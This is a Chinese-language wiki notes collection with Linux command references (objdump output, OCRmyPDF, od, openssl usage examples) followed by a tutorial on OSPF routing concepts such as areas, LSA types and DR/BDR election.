  19:   83 45 fc 02             addl   $0x2,0xfffffffc(%ebp) 
/root/test/04_libraryTest/mytest.cpp:10 
  1d:   c9                      leave  
  1e:   c3                      ret    
```

这里,项"-d"从objfile中反汇编那些特定指令机器码的section,而使用"-l"指定用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用,使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求编译时使用了-g之类的调试编译选项。 

 "显示目标文件各个段的头部摘要信息: " 

```
[root@localhost test]# objdump -h mytest.o 
mytest.o:     file format elf32-i386 

Sections: 
Idx Name          Size      VMA       LMA       File off  Algn 
  0 .text         0000001f  00000000  00000000  00000034  2"2 
                  CONTENTS, ALLOC, LOAD, readonly, CODE 
  1 .data         00000000  00000000  00000000  00000054  2"2 
                  CONTENTS, ALLOC, LOAD, DATA 
  2 .bss          00000000  00000000  00000000  00000054  2"2 
                  ALLOC 
  3 .debug_abbrev 00000046  00000000  00000000  00000054  2"0 
                  CONTENTS, READONLY, DEBUGGING 
  4 .debug_info   000000ed  00000000  00000000  0000009a  2"0 
                  CONTENTS, RELOC, READONLY, DEBUGGING 
  5 .debug_line   0000003e  00000000  00000000  00000187  2"0 
                  CONTENTS, RELOC, READONLY, DEBUGGING 
  6 .debug_frame  00000044  00000000  00000000  000001c8  2"2 
                  CONTENTS, RELOC, READONLY, DEBUGGING 
  7 .debug_loc    00000058  00000000  00000000  0000020c  2"0 
                  CONTENTS, READONLY, DEBUGGING 
  8 .debug_pubnames 0000002f  00000000  00000000  00000264  2"0 
                  CONTENTS, RELOC, READONLY, DEBUGGING 
  9 .debug_aranges 00000020  00000000  00000000  00000293  2"0 
                  CONTENTS, RELOC, READONLY, DEBUGGING 
10 .comment      0000002e  00000000  00000000  000002b3  2"0 
                  CONTENTS, READONLY 
11 .note.GNU-stack 00000000  00000000  00000000  000002e1  2"0 
                  CONTENTS, READONLY 
```

这里,更多的内容参见`man objdump`中的这个选项。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!描述 
:<div>

```bash
OCRmyPDF adds an OCR text layer to scanned PDF files, allowing them to be searched or copy-pasted.

https://github.com/jbarlow83/OCRmyPDF
```
</div>


!选项
:<div>

```bash
ocrmypdf                      # it's a scriptable command line program
   -l eng+fra                 # it supports multiple languages
   --rotate-pages             # it can fix pages that are misrotated
   --deskew                   # it can deskew crooked PDFs!
   --title "My PDF"           # it can change output metadata
   --jobs 4                   # it uses multiple cores by default
   --output-type pdfa         # it produces PDF/A by default
   input_scanned.pdf          # takes PDF input (or images)
   output_searchable.pdf      # produces validated PDF output
```
</div>



!安装
 
:<div>

```bash
apt-get install ocrmypdf
apt-get install tesseract-ocr-chi-sim 
```
</div>

!使用
 
:<div>

```bash
time ocrmypdf --pdf-renderer tesseract --output-type pdf 1.pdf 2.pdf -l chi_sim+eng
```
</div>
!!简介
:<div>
od
===

输出文件的八进制、十六进制等格式编码的字节

</div>

!! 补充说明

:<div>


"od命令" 用于输出文件的八进制、十六进制或其它格式编码的字节,通常用于显示或查看文件中不能直接显示在终端的字符。

常见的文件为文本文件和二进制文件。此命令主要用来查看保存在二进制文件中的值。比如,程序可能输出大量的数据记录,每个数据是一个单精度浮点数。这些数据记录存放在一个文件中,如果想查看下这个数据,这时候od命令就派上用场了。在我看来,od命令主要用来格式化输出文件数据,即对文件中的数据进行无二义性的解释。不管是IEEE754格式的浮点数还是ASCII码,od命令都能按照需求输出它们的值。

</div>

!! 语法  

:<div>


```
od(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:此参数的效果和同时指定“-ta”参数相同;
-A:<字码基数>:选择以何种基数计算字码;
-b:此参数的效果和同时指定“-toC”参数相同;
-c:此参数的效果和同时指定“-tC”参数相同;
-d:此参数的效果和同时指定“-tu2”参数相同;
-f:此参数的效果和同时指定“-tfF”参数相同;
-h:此参数的效果和同时指定“-tx2”参数相同;
-i:此参数的效果和同时指定“-td2”参数相同;
-j<字符数目>或--skip-bytes=<字符数目>:略过设置的字符数目;
-l:此参数的效果和同时指定“-td4”参数相同;
-N<字符数目>或--read-bytes=<字符数目>:到设置的字符树目为止;
-o:此参数的效果和同时指定“-to2”参数相同;
-s<字符串字符数>或--strings=<字符串字符数>:只显示符合指定的字符数目的字符串;
-t<输出格式>或--format=<输出格式>:设置输出格式;
-v或--output-duplicates:输出时不省略重复的数据;
-w<每列字符数>或--width=<每列字符数>:设置每列的最大字符数;
-x:此参数的效果和同时指定“-h”参数相同;
--help:在线帮助;
--version:显示版本信息。
```

</div>

!! 参数  

:<div>


文件:指定要显示的文件。

</div>

!! 实例  

:<div>


```
[linuxde@localhost ~]$ echo abcdef g > tmp
[linuxde@localhost ~]$ cat tmp
abcdef g
```

说明:先准备一个tmp文件

```
[linuxde@localhost ~]$ od -b tmp
0000000 141 142 143 144 145 146 040 147 012
0000011
```

说明:使用单字节八进制解释进行输出,注意左侧的默认地址格式为八字节

```
[linuxde@localhost ~]$ od -c tmp
0000000   a   b   c   d   e   f       g  \n
0000011
```

说明:使用ASCII码进行输出,注意其中包括转义字符

```
[linuxde@localhost ~]$ od -t d1 tmp
0000000   97   98   99  100  101  102   32  103   10
0000011
```

说明:使用单字节十进制进行解释

```
[linuxde@localhost ~]$ od -A d -c tmp
0000000   a   b   c   d   e   f       g  \n
0000009
```

说明:设置地址格式为十进制。

```
[linuxde@localhost ~]$ od -A x -c tmp
000000   a   b   c   d   e   f       g  \n
000009
```

说明:设置地址格式为十六进制

```
[linuxde@localhost ~]$ od -j 2 -c tmp
0000002   c   d   e   f       g  \n
0000011
```

说明:跳过开始的两个字节

```
[linuxde@localhost ~]$ od -N 2 -j 2 -c tmp
0000002   c   d
0000004
```

说明:跳过开始的两个字节,并且仅输出两个字节

```
[linuxde@localhost ~]$ od -w1 -c tmp
0000000   a
0000001   b
0000002   c
0000003   d
0000004   e
0000005   f
0000006   
0000007   g
0000010  \n
0000011
```

说明:每行仅输出1个字节

```
[linuxde@localhost ~]$ od -w2 -c tmp
0000000   a   b
0000002   c   d
0000004   e   f
0000006       g
0000010  \n
0000011
```

说明:每行输出两个字节

```
[linuxde@localhost ~]$ od -w3 -b tmp
0000000 141 142 143
0000003 144 145 146
0000006 040 147 012
0000011
```

说明:每行输出3个字节,并使用八进制单字节进行解释


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
openssl
===

强大的安全套接字层密码库

</div>

!! 补充说明

:<div>


"OpenSSL" 是一个强大的安全套接字层密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用。在OpenSSL被曝出现严重安全漏洞后,发现多数通过SSL协议加密的网站使用名为OpenSSL的开源软件包。由于这是互联网应用最广泛的安全传输方法,被网银、在线支付、电商网站、门户网站、电子邮件等重要网站广泛使用,所以该漏洞影响范围广大。

OpenSSL有两种运行模式:交互模式和批处理模式。

直接输入openssl回车进入交互模式,输入带命令选项的openssl进入批处理模式。

OpenSSL整个软件包大概可以分成三个主要的功能部分:密码算法库、SSL协议库以及应用程序。OpenSSL的目录结构自然也是围绕这三个功能部分进行规划的。 

 "对称加密算法"

OpenSSL一共提供了8种对称加密算法,其中7种是分组加密算法,仅有的一种流加密算法是RC4。这7种分组加密算法分别是AES、DES、Blowfish、CAST、IDEA、RC2、RC5,都支持电子密码本模式(ECB)、加密分组链接模式(CBC)、加密反馈模式(CFB)和输出反馈模式(OFB)四种常用的分组密码加密模式。其中,AES使用的加密反馈模式(CFB)和输出反馈模式(OFB)分组长度是128位,其它算法使用的则是64位。事实上,DES算法里面不仅仅是常用的DES算法,还支持三个密钥和两个密钥3DES算法。 

 "非对称加密算法"

OpenSSL一共实现了4种非对称加密算法,包括DH算法、RSA算法、DSA算法和椭圆曲线算法(EC)。DH算法一般用户密钥交换。RSA算法既可以用于密钥交换,也可以用于数字签名,当然,如果你能够忍受其缓慢的速度,那么也可以用于数据加密。DSA算法则一般只用于数字签名。 

 "信息摘要算法"

OpenSSL实现了5种信息摘要算法,分别是MD2、MD5、MDC2、SHA(SHA1)和RIPEMD。SHA算法事实上包括了SHA和SHA1两种信息摘要算法,此外,OpenSSL还实现了DSS标准中规定的两种信息摘要算法DSS和DSS1。 

 "密钥和证书管理"

密钥和证书管理是PKI的一个重要组成部分,OpenSSL为之提供了丰富的功能,支持多种标准。 

首先,OpenSSL实现了ASN.1的证书和密钥相关标准,提供了对证书、公钥、私钥、证书请求以及CRL等数据对象的DER、PEM和BASE64的编解码功能。OpenSSL提供了产生各种公开密钥对和对称密钥的方法、函数和应用程序,同时提供了对公钥和私钥的DER编解码功能。并实现了私钥的PKCS#12和PKCS#8的编解码功能。OpenSSL在标准中提供了对私钥的加密保护功能,使得密钥可以安全地进行存储和分发。 

在此基础上,OpenSSL实现了对证书的X.509标准编解码、PKCS#12格式的编解码以及PKCS#7的编解码功能。并提供了一种文本数据库,支持证书的管理功能,包括证书密钥产生、请求产生、证书签发、吊销和验证等功能。 

事实上,OpenSSL提供的CA应用程序就是一个小型的证书管理中心(CA),实现了证书签发的整个流程和证书管理的大部分机制。

</div>

!! 实例

:<div>


"1、使用 openssl 生成密码"

几乎所有 Linux 发行版都包含 openssl。我们可以利用它的随机功能来生成可以用作密码的随机字母字符串。

```bash
openssl rand -base64 10
# nU9LlHO5nsuUvw==
```

nU9LlHO5nsuUvw==

"2、消息摘要算法应用例子"

用SHA1算法计算文件file.txt的哈西值,输出到stdout:

```
# openssl dgst -sha1 file.txt
```

用SHA1算法计算文件file.txt的哈西值,输出到文件digest.txt:

```
# openssl sha1 -out digest.txt file.txt
```

用DSS1(SHA1)算法为文件file.txt签名,输出到文件dsasign.bin。签名的private key必须为DSA算法产生的,保存在文件dsakey.pem中。

```
# openssl dgst -dss1 -sign dsakey.pem -out dsasign.bin file.txt
```

用dss1算法验证file.txt的数字签名dsasign.bin,验证的private key为DSA算法产生的文件dsakey.pem。

```
# openssl dgst -dss1 -prverify dsakey.pem -signature dsasign.bin file.txt
```

用sha1算法为文件file.txt签名,输出到文件rsasign.bin,签名的private key为RSA算法产生的文件rsaprivate.pem。

```
# openssl sha1 -sign rsaprivate.pem -out rsasign.bin file.txt
```

用sha1算法验证file.txt的数字签名rsasign.bin,验证的public key为RSA算法生成的rsapublic.pem。

```
# openssl sha1 -verify rsapublic.pem -signature rsasign.bin file.txt
```

 "3、对称加密应用例子"

对称加密应用例子,用DES3算法的CBC模式加密文件plaintext.doc,加密结果输出到文件ciphertext.bin。

```
# openssl enc -des3 -salt -in plaintext.doc -out ciphertext.bin
```

用DES3算法的OFB模式解密文件ciphertext.bin,提供的口令为trousers,输出到文件plaintext.doc。注意:因为模式不同,该命令不能对以上的文件进行解密。

```
# openssl enc -des-ede3-ofb -d -in ciphertext.bin -out plaintext.doc -pass pass:trousers
```

用Blowfish的CFB模式加密plaintext.doc,口令从环境变量PASSWORD中取,输出到文件ciphertext.bin。

```
# openssl bf-cfb -salt -in plaintext.doc -out ciphertext.bin -pass env:PASSWORD
```

给文件ciphertext.bin用base64编码,输出到文件base64.txt。

```
# openssl base64 -in ciphertext.bin -out base64.txt
```

用RC5算法的CBC模式加密文件plaintext.doc,输出到文件ciphertext.bin,salt、key和初始化向量(iv)在命令行指定。

```
# openssl rc5 -in plaintext.doc -out ciphertext.bin -S C62CB1D49F158ADC -iv E9EDACA1BD7090C6 -K 89D4B1678D604FAA3DBFFD030A314B29
```

 "4、Diffie-Hellman应用例子"

使用生成因子2和随机的1024-bit的素数产生D0ffie-Hellman参数,输出保存到文件dhparam.pem

```
# openssl dhparam -out dhparam.pem -2 1024
```

从dhparam.pem中读取Diffie-Hell参数,以C代码的形式,输出到stdout。

```
# openssl dhparam -in dhparam.pem -noout -C
```

 "5、DSA应用例子应用例子"

生成1024位DSA参数集,并输出到文件dsaparam.pem。

```
# openssl dsaparam -out dsaparam.pem 1024
```

使用参数文件dsaparam.pem生成DSA私钥匙,采用3DES加密后输出到文件dsaprivatekey.pem

```
# openssl gendsa -out dsaprivatekey.pem -des3 dsaparam.pem
```

使用私钥匙dsaprivatekey.pem生成公钥匙,输出到dsapublickey.pem

```
# openssl dsa -in dsaprivatekey.pem -pubout -out dsapublickey.pem
```

从dsaprivatekey.pem中读取私钥匙,解密并输入新口令进行加密,然后写回文件dsaprivatekey.pem

```
# openssl dsa -in dsaprivatekey.pem -out dsaprivatekey.pem -des3 -passin
```

 "6、RSA应用例子"

产生1024位RSA私匙,用3DES加密它,口令为trousers,输出到文件rsaprivatekey.pem

```
# openssl genrsa -out rsaprivatekey.pem -passout pass:trousers -des3 1024
```

从文件rsaprivatekey.pem读取私匙,用口令trousers解密,生成的公钥匙输出到文件rsapublickey.pem

```
# openssl rsa -in rsaprivatekey.pem -passin pass:trousers -pubout -out rsapubckey.pem
```

用公钥匙rsapublickey.pem加密文件plain.txt,输出到文件cipher.txt

```
# openssl rsautl -encrypt -pubin -inkey rsapublickey.pem -in plain.txt -out cipher.txt
```

使用私钥匙rsaprivatekey.pem解密密文cipher.txt,输出到文件plain.txt

```
# openssl rsautl -decrypt -inkey rsaprivatekey.pem -in cipher.txt -out plain.txt
```

用私钥匙rsaprivatekey.pem给文件plain.txt签名,输出到文件signature.bin

```
# openssl rsautl -sign -inkey rsaprivatekey.pem -in plain.txt -out signature.bin
```

用公钥匙rsapublickey.pem验证签名signature.bin,输出到文件plain.txt

```
# openssl rsautl -verify -pubin -inkey rsapublickey.pem -in signature.bin -out plain
```

从X.509证书文件cert.pem中获取公钥匙,用3DES加密mail.txt,输出到文件mail.enc

```
# openssl smime -encrypt -in mail.txt -des3 -out mail.enc cert.pem
```

从X.509证书文件cert.pem中获取接收人的公钥匙,用私钥匙key.pem解密S/MIME消息mail.enc,结果输出到文件mail.txt

```
# openssl smime -decrypt -in mail.enc -recip cert.pem -inkey key.pem -out mail.txt
```

cert.pem为X.509证书文件,用私匙key,pem为mail.txt签名,证书被包含在S/MIME消息中,输出到文件mail.sgn

```
# openssl smime -sign -in mail.txt -signer cert.pem -inkey key.pem -out mail.sgn
```

验证S/MIME消息mail.sgn,输出到文件mail.txt,签名者的证书应该作为S/MIME消息的一部分包含在mail.sgn中

```
# openssl smime -verify -in mail.sgn -out mail.txt
```

更多实例:

```
openssl version -a
openssl help
openssl genrsa -aes128 -out fd.key 2048 # pem format
openssl rsa -text -in fd.key
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

---
!!1.1  OSPF简介
OSPF(Open Shortest Path First,开放最短路径优先)是IETF组织开发的一个基于链路状态的内部网关协议。目前针对IPv4协议使用的是OSPF Version 2(RFC 2328)。

;OSPF具有如下特点:

:              适应范围广

支持各种规模的网络,最多可支持几百台路由器。

:              快速收敛

在网络的拓扑结构发生变化后立即发送更新报文,使这一变化在自治系统中同步。

:              无自环

由于OSPF根据收集到的链路状态用最短路径树算法计算路由,从算法本身保证了不会生成自环路由。

:              区域划分

允许自治系统的网络被划分成区域来管理,区域间传送的路由信息被进一步抽象,从而减少了占用的网络带宽。

:              等价路由

支持到同一目的地址的多条等价路由。

:              路由分级

使用4类不同的路由,按优先顺序来说分别是:区域内路由、区域间路由、第一类外部路由、第二类外部路由。

:              支持验证

支持基于接口的报文验证,以保证报文交互和路由计算的安全性。

:              组播发送

在某些类型的链路上以组播地址发送协议报文,减少对其他设备的干扰。

!!1.1.1  OSPF的基本概念
;1. 自治系统(Autonomous System)
:一组使用相同路由协议交换路由信息的路由器,缩写为AS。

;2. OSPF路由的计算过程
:同一个区域内,OSPF协议路由的计算过程可简单描述如下:

:每台OSPF路由器根据自己周围的网络拓扑结构生成LSA(Link State Advertisement,链路状态通告),并通过更新报文将LSA发送给网络中的其它OSPF路由器。

 :每台OSPF路由器都会收集其它路由器通告的LSA,所有的LSA放在一起便组成了LSDB(Link State Database,链路状态数据库)。LSA是对路由器周围网络拓扑结构的描述,LSDB则是对整个自治系统的网络拓扑结构的描述。
:OSPF路由器将LSDB转换成一张带权的有向图,这张图便是对整个网络拓扑结构的真实反映。各个路由器得到的有向图是完全相同的。

:每台路由器根据有向图,使用SPF算法计算出一棵以自己为根的最短路径树,这棵树给出了到自治系统中各节点的路由。

;3. 路由器ID号
一台运行OSPF协议路由器,每一个OSPF进程必须存在自己的Router ID(路由器ID)。Router ID是一个32比特无符号整数,可以在一个自治系统中唯一的标识一台路由器。

;4. OSPF的协议报文
;OSPF有五种类型的协议报文:

:Hello报文:周期性发送,用来发现和维持OSPF邻居关系。内容包括一些定时器的数值、DR(Designated Router,指定路由器)、BDR(Backup Designated Router,备份指定路由器)以及自己已知的邻居。

:DD(Database Description,数据库描述)报文:描述了本地LSDB中每一条LSA的摘要信息,用于两台路由器进行数据库同步。

:LSR(Link State Request,链路状态请求)报文:向对方请求所需的LSA。两台路由器互相交换DD报文之后,得知对端的路由器有哪些LSA是本地的LSDB所缺少的,这时需要发送LSR报文向对方请求所需的LSA。内容包括所需要的LSA的摘要。

: LSU(Link State Update,链路状态更新)报文:向对方发送其所需要的LSA。

: LSAck(Link State Acknowledgment,链路状态确认)报文:用来对收到的LSA进行确认。内容是需要确认的LSA的Header(一个报文可对多个LSA进行确认)。

;5. LSA的类型
OSPF中对链路状态信息的描述都是封装在LSA中发布出去,常用的LSA有以下几种类型:

:Router LSA(Type1):由每个路由器产生,描述路由器的链路状态和开销,在其始发的区域内传播。

: Network LSA(Type2):由DR产生,描述本网段所有路由器的链路状态,在其始发的区域内传播。

: Network Summary LSA(Type3):由ABR(Area Border Router,区域边界路由器)产生,描述区域内某个网段的路由,并通告给其他区域。

: ASBR Summary LSA(Type4):由ABR产生,描述到ASBR(Autonomous System Boundary Router,自治系统边界路由器)的路由,通告给相关区域。
:  AS External LSA(Type5):由ASBR产生,描述到AS(Autonomous System,自治系统)外部的路由,通告到所有的区域(除了Stub区域和NSSA区域)。

: NSSA External LSA(Type7):由NSSA(Not-So-Stubby Area)区域内的ASBR产生,描述到AS外部的路由,仅在NSSA区域内传播。

: Opaque LSA:是一个被提议的LSA类别,由标准的LSA头部后面跟随特殊应用的信息组成,可以直接由OSPF协议使用,或者由其它应用分发信息到整个OSPF域间接使用。Opaque LSA分为Type9、Type10、Type11三种类型,泛洪区域不同;其中,Type9的Opaque LSA仅在本地链路范围进行泛洪,Type10的Opaque LSA仅在本地区域范围进行泛洪,Type11的LSA可以在一个自治系统范围进行泛洪。

;6. 邻居和邻接
在OSPF中,邻居(Neighbor)和邻接(Adjacency)是两个不同的概念。

OSPF路由器启动后,便会通过OSPF接口向外发送Hello报文。收到Hello报文的OSPF路由器会检查报文中所定义的参数,如果双方一致就会形成邻居关系。

形成邻居关系的双方不一定都能形成邻接关系,这要根据网络类型而定。只有当双方成功交换DD报文,交换LSA并达到LSDB的同步之后,才形成真正意义上的邻接关系。

!!1.1.2  OSPF区域
;1. 区域划分
随着网络规模日益扩大,当一个大型网络中的路由器都运行OSPF路由协议时,路由器数量的增多会导致LSDB非常庞大,占用大量的存储空间,并使得运行SPF算法的复杂度增加,导致CPU负担很重。

在网络规模增大之后,拓扑结构发生变化的概率也增大,网络会经常处于“振荡”之中,造成网络中会有大量的OSPF协议报文在传递,降低了网络的带宽利用率。更为严重的是,每一次变化都会导致网络中所有的路由器重新进行路由计算。

OSPF协议通过将自治系统划分成不同的区域(Area)来解决上述问题。区域是从逻辑上将路由器划分为不同的组,每个组用区域号(Area ID)来标识。如图1-1所示。

图1-1 OSPF区域划分


[img[http://www.h3c.com/cn/res/201112/13/20111213_1299848_image002_734966_30005_0.png]]
 

区域的边界是路由器,而不是链路。一个路由器可以属于不同的区域,但是一个网段(链路)只能属于一个区域,或者说每个运行OSPF的接口必须指明属于哪一个区域。划分区域后,可以在区域边界路由器上进行路由聚合,以减少通告到其他区域的LSA数量,还可以将网络拓扑变化带来的影响最小化。

;2. 骨干区域与虚连接
:(1)      骨干区域(Backbone Area)

OSPF划分区域之后,并非所有的区域都是平等的关系。其中有一个区域是与众不同的,它的区域号(Area ID)是0,通常被称为骨干区域。骨干区域负责区域之间的路由,非骨干区域之间的路由信息必须通过骨干区域来转发。对此,OSPF有两个规定:

: 所有非骨干区域必须与骨干区域保持连通;

:骨干区域自身也必须保持连通。

但在实际应用中,可能会因为各方面条件的限制,无法满足这个要求。这时可以通过配置OSPF虚连接(Virtual Link)予以解决。

:(2)      虚连接(Virtual Link)

虚连接是指在两台ABR之间通过一个非骨干区域而建立的一条逻辑上的连接通道。它的两端必须是ABR,而且必须在两端同时配置方可生效。为虚连接两端提供一条非骨干区域内部路由的区域称为传输区(Transit Area)。

在图1-2中,Area2与骨干区域之间没有直接相连的物理链路,但可以在ABR上配置虚连接,使Area2通过一条逻辑链路与骨干区域保持连通。

图1-2 虚连接示意图之一

[img[http://www.h3c.com/cn/res/201112/13/20111213_1299849_image003_734966_30005_0.png]]

 

虚连接的另外一个应用是提供冗余的备份链路,当骨干区域因链路故障不能保持连通时,通过虚连接仍然可以保证骨干区域在逻辑上的连通性。如图1-3所示。

图1-3 虚连接示意图之二

[img[http://www.h3c.com/cn/res/201112/13/20111213_1299850_image004_734966_30005_0.png]]

 

虚连接相当于在两个ABR之间形成了一个点到点的连接,因此,在这个连接上,和物理接口一样可以配置接口的各参数,如发送Hello报文间隔等。

两台ABR之间直接传递OSPF报文信息,它们之间的OSPF路由器只是起到一个转发报文的作用。由于协议报文的目的地址不是中间这些路由器,所以这些报文对于它们而言是透明的,只是当作普通的IP报文来转发。

;3. Stub区域
Stub区域是一些特定的区域,Stub区域不允许注入Type5 LSA,在这些区域中路由器的路由表规模以及路由信息传递的数量都会大大减少。

为了进一步减少Stub区域中路由器的路由表规模以及路由信息传递的数量,可以将该区域配置为Totally Stub(完全Stub)区域,该区域的ABR不会将区域间的路由信息和外部路由信息传递到本区域。

(Totally)Stub区域是一种可选的配置属性,但并不是每个区域都符合配置的条件。通常来说,(Totally)Stub区域位于自治系统的边界。

为保证到本自治系统的其他区域或者自治系统外的路由依旧可达,该区域的ABR将生成一条缺省路由,并发布给本区域中的其他非ABR路由器。

配置(Totally)Stub区域时需要注意下列几点:

·              骨干区域不能配置成(Totally)Stub区域。

·              如果要将一个区域配置成Stub区域,则该区域中的所有路由器必须都要配置stub命令。

·              如果要将一个区域配置成Totally Stub区域,该区域中的所有路由器必须配置stub命令,该区域的ABR路由器需要配置stub [ no-summary ]命令。

·              (Totally)Stub区域内不能存在ASBR,即自治系统外部的路由不能在本区域内传播。

·              虚连接不能穿过(Totally)Stub区域。

;4. NSSA区域
NSSA(Not-So-Stubby Area)区域是Stub区域的变形,与Stub区域有许多相似的地方。NSSA区域也不允许Type5 LSA注入,但可以允许Type7 LSA注入。Type7 LSA由NSSA区域的ASBR产生,在NSSA区域内传播。当Type7 LSA到达NSSA的ABR时,由ABR将Type7 LSA转换成Type5 LSA,传播到其他区域。

如图1-4所示,运行OSPF协议的自治系统包括3个区域:区域1、区域2和区域0,另外两个自治系统运行RIP协议。区域1被定义为NSSA区域,区域1接收的RIP路由传播到NSSA ASBR后,由NSSA ASBR产生Type7 LSA在区域1内传播,当Type7 LSA到达NSSA ABR后,转换成Type5 LSA传播到区域0和区域2。

另一方面,运行RIP的自治系统的RIP路由通过区域2的ASBR产生Type5 LSA在OSPF自治系统中传播。但由于区域1是NSSA区域,所以Type5 LSA不会到达区域1。

与Stub区域一样,虚连接也不能穿过NSSA区域。

图1-4 NSSA区域


[img[http://www.h3c.com/cn/res/201112/13/20111213_1299851_image005_734966_30005_0.png]]
 

;5. 各区域特性
如图1-5所示,列出了各个区域之间的区别。

图1-5 区域特性示意图


[img[http://www.h3c.com/cn/res/201112/13/20111213_1299852_image006_734966_30005_0.png]]
 

各区域特性:

·              Totally Stub区域:允许ABR发布的Type3缺省路由,不允许自治系统外部路由和区域间的路由;

·              Stub区域:和Totally Stub区域不同在于该区域允许区域间路由;

·              NSSA区域:和Stub区域不同在于该区域允许自治系统外部路由的引入,由ASBR发布Type7 LSA通告给本区域;

·              Totally NSSA区域:和NSSA区域不同在于该区域不允许区域间路由。

!!1.1.3  路由器的类型
;1. 路由器的分类
OSPF路由器根据在AS中的不同位置,可以分为以下四类:

(1)      区域内路由器(Internal Router)

该类路由器的所有接口都属于同一个OSPF区域。

(2)      区域边界路由器ABR(Area Border Router)

该类路由器可以同时属于两个以上的区域,但其中一个必须是骨干区域(骨干区域的介绍请参见下一小节)。ABR用来连接骨干区域和非骨干区域,它与骨干区域之间既可以是物理连接,也可以是逻辑上的连接。

(3)      骨干路由器(Backbone Router)

该类路由器至少有一个接口属于骨干区域。因此,所有的ABR和位于Area0的内部路由器都是骨干路由器。

(4)      自治系统边界路由器ASBR

与其他AS交换路由信息的路由器称为ASBR。ASBR并不一定位于AS的边界,它有可能是区域内路由器,也有可能是ABR。只要一台OSPF路由器引入了外部路由的信息,它就成为ASBR。

图1-6 OSPF路由器的类型


[img[http://www.h3c.com/cn/res/201112/13/20111213_1299853_image007_734966_30005_0.png]]
 

;2. 路由类型
OSPF将路由分为四类,按照优先级从高到低的顺序依次为:

·              区域内路由(Intra Area)

·              区域间路由(Inter Area)

·              第一类外部路由(Type1 External)

·              第二类外部路由(Type2 External)

区域内和区域间路由描述的是AS内部的网络结构,外部路由则描述了应该如何选择到AS以外目的地址的路由。OSPF将引入的AS外部路由分为两类:Type1和Type2。

第一类外部路由:这类路由的可信程度较高,并且和OSPF自身路由的开销具有可比性,所以到第一类外部路由的开销等于本路由器到相应的ASBR的开销与ASBR到该路由目的地址的开销之和。

第二类外部路由:这类路由的可信度比较低,所以OSPF协议认为从ASBR到自治系统之外的开销远远大于在自治系统之内到达ASBR的开销。所以计算路由开销时将主要考虑前者,即到第二类外部路由的开销等于ASBR到该路由目的地址的开销。如果计算出开销值相等的两条路由,再考虑本路由器到相应的ASBR的开销。

!!1.1.4  OSPF的网络类型
1. OSPF的4种网络类型
OSPF根据链路层协议类型将网络分为下列四种类型:

·              广播(Broadcast)类型:当链路层协议是Ethernet、FDDI时,OSPF缺省认为网络类型是Broadcast。在该类型的网络中,通常以组播形式(224.0.0.5:含义是OSPF路由器的预留IP组播地址;224.0.0.6:含义是OSPF DR的预留IP组播地址)发送Hello报文、LSU报文和LSAck报文;以单播形式发送DD报文和LSR报文。

·              NBMA(Non-Broadcast Multi-Access,非广播多点可达网络)类型:当链路层协议是帧中继、ATM或X.25时,OSPF缺省认为网络类型是NBMA。在该类型的网络中,以单播形式发送协议报文。

·              P2MP(Point-to-MultiPoint,点到多点)类型:没有一种链路层协议会被缺省的认为是P2MP类型。点到多点必须是由其他的网络类型强制更改的。常用做法是将NBMA改为点到多点的网络。在该类型的网络中,缺省情况下,以组播形式(224.0.0.5)发送协议报文。可以根据用户需要,以单播形式发送协议报文。

·              P2P(Point-to-Point,点到点)类型:当链路层协议是PPP、HDLC时,OSPF缺省认为网络类型是P2P。在该类型的网络中,以组播形式(224.0.0.5)发送协议报文。

2. NBMA网络的配置原则
NBMA网络是指非广播、多点可达的网络,比较典型的有ATM和帧中继网络。

对于接口的网络类型为NBMA的网络需要进行一些特殊的配置。由于无法通过广播Hello报文的形式发现相邻路由器,必须手工为该接口指定相邻路由器的IP地址,以及该相邻路由器是否有DR选举权等。

NBMA网络必须是全连通的,即网络中任意两台路由器之间都必须有一条虚电路直接可达。如果部分路由器之间没有直接可达的链路时,应将接口配置成P2MP类型。如果路由器在NBMA网络中只有一个对端,也可将接口类型配置为P2P类型。

NBMA与P2MP网络之间的区别如下:

·              NBMA网络是指那些全连通的、非广播、多点可达网络。而P2MP网络,则并不需要一定是全连通的。

·              在NBMA网络中需要选举DR与BDR,而在P2MP网络中没有DR与BDR。

·              NBMA是一种缺省的网络类型,而P2MP网络必须是由其它的网络强制更改的。最常见的做法是将NBMA网络改为P2MP网络。

·              NBMA网络采用单播发送报文,需要手工配置邻居。P2MP网络采用组播方式发送报文。

!!1.1.5  DR/BDR
1. DR/BDR简介
在广播网和NBMA网络中,任意两台路由器之间都要交换路由信息。如果网络中有n台路由器,则需要建立n(n-1)/2个邻接关系。这使得任何一台路由器的路由变化都会导致多次传递,浪费了带宽资源。为解决这一问题,OSPF协议定义了指定路由器DR(Designated Router),所有路由器都只将信息发送给DR,由DR将网络链路状态发送出去。

如果DR由于某种故障而失效,则网络中的路由器必须重新选举DR,再与新的DR同步。这需要较长的时间,在这段时间内,路由的计算是不正确的。为了能够缩短这个过程,OSPF提出了BDR(Backup Designated Router,备份指定路由器)的概念。

BDR是对DR的一个备份,在选举DR的同时也选举出BDR,BDR也和本网段内的所有路由器建立邻接关系并交换路由信息。当DR失效后,BDR会立即成为DR。由于不需要重新选举,并且邻接关系之前已建立,所以这个过程是非常短暂的。当然这时还需要再重新选举出一个新的BDR,虽然需要较长的时间,但并不会影响路由的计算。

运行OSPF进程的网络中,既不是DR也不是BDR的路由器为DR Other。DR Other仅与DR和BDR之间建立邻接关系,DR Other之间不交换任何路由信息。这样就减少了广播网和NBMA网络上各路由器之间邻接关系的数量,同时减少网络流量,节约了带宽资源。

如图1-7所示,用实线代表以太网物理连接,虚线代表建立的邻接关系。可以看到,采用DR/BDR机制后,5台路由器之间只需要建立7个邻接关系就可以了。

图1-7 DR和BDR示意图

[img[http://www.h3c.com/cn/res/201112/13/20111213_1299854_image008_734966_30005_0.png]]

 

;2. DR/BDR选举过程
DR和BDR是由同一网段中所有的路由器根据路由器优先级、Router ID通过Hello报文选举出来的,只有优先级大于0的路由器才具有选举资格。

